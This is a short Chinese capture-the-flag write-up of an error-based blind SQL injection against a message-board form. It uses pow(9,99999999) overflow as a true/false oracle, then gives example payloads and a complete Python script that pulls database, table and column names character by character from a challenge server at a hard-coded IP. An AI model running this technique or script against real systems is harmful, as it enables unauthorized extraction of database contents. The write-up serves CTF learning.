基于sql语法是否正确的注入

hw结束了，省上的hw又接着了，哭~。弱鸡的我只有继续当苦力，苦啊苦。昨天看见了一道sql注入题。(不知道什么比赛)
访问页面，显示一个留言板，首先尝试xss发现没什么用，一直返回受影响行数1发帖成功，扫了下目录，也没什么有用的。接着尝试注入发现输入单引号发现，返回受影响行数-1 发帖失败，应该是存在注入。
经过测试，发现不管输入什么都返回受影响行数1发帖成功。只有开始测试的时候没有闭合单引号返回受影响行数-1 发帖失败，后面经过分析，如下：

SQL语法正确的话，会显示”受影响行数1发帖成功” 。例如：title=1' and 1=2 and pow(9,99999999) or '1&author=1&content=1
SQL语法不正确的话，会显示”受影响行数-1 发帖失败” 。例如：title=1' and 1=1 and pow(9,99999999) or '1&author=1&content=1
注：pow(9,99999999)会导致数据库因为数字过大而出错，当title=1' and 1=2 时，条件不成立，便不执行接下来的pow(9,99999999)函数，sql语法正确。反之执行导致异常。

和之前国赛的那道全世界最简单的sql类似。

图片.png
图片.png

由此可进行盲注跑数据，编写脚本或者修改sqlmap的temper。

图片.png

辣鸡脚本如下：

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests

chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{},@:\/_-."
name = ""
url = "http://115.238.30.26:13641/index.php"
yes = "受影响行数-1"

for i in range(40):
    print(i)
    for char in chars:
        #数据库sqy 表comment 列id,username,title,content,time
        #payload = "1' and ascii(substr(database(),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
        payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='comment'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
        #payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='say'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
        
        data = {"title": payload,
                "author": 1,
                "content": 1
                }
        res = requests.post(url, data=data).text
        if yes in res:
            name += char
            print(name)
            break